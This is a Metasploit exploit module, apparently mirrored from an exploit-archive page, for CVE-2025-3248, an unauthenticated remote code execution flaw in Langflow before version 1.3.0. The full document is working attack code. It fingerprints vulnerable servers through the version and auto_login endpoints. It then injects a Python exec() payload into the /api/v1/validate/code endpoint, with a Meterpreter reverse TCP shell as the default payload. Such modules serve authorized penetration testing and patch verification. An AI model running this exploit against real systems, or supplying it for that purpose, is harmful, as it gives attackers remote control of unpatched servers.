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## https://sploitus.com/exploit?id=PACKETSTORM:190465
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Langflow AI RCE',
'Description' => %q{
Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.
A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.
},
'Author' => [
'Naveen Sunkavally (Horizon3.ai)', # Vulnerability discovery and PoC
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-3248'],
['URL', 'https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/'],
],
'Platform' => ['python'],
'Arch' => [ ARCH_PYTHON ],
'Targets' => [
[
'Python payload',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
'Payload' => {
'BadChars' => '"'
},
'DisclosureDate' => '2025-04-09',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
Opt::RPORT(7860),
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/version')
})
return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
json_version = res&.get_json_document&.fetch('version', nil)
return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version
version = Rex::Version.new(json_version)
return Exploit::CheckCode::Unknown('Failed to get version.') unless version
return Exploit::CheckCode::Appears("Version #{version} detected. Which is vulnerable even if authentication is enabled.") if version < Rex::Version.new('1.3.0')
# check if auto_login is enabled or not
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/auto_login')
})
return Exploit::CheckCode::Appears("Version #{version} detected and authentication is disabled. Which is vulnerable.") if res&.code == 200
Exploit::CheckCode.Safe("Version #{version} detected and authentication is enabled. which is not vulnerable.")
end
def exploit
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v1/validate/code'),
'headers' => { 'Content-Type' => 'application/json' },
'data' => {
'code' => "@exec(\"#{payload.encode}\")\ndef #{rand_text_alpha(6)}():\n pass"
}.to_json
})
fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
end
end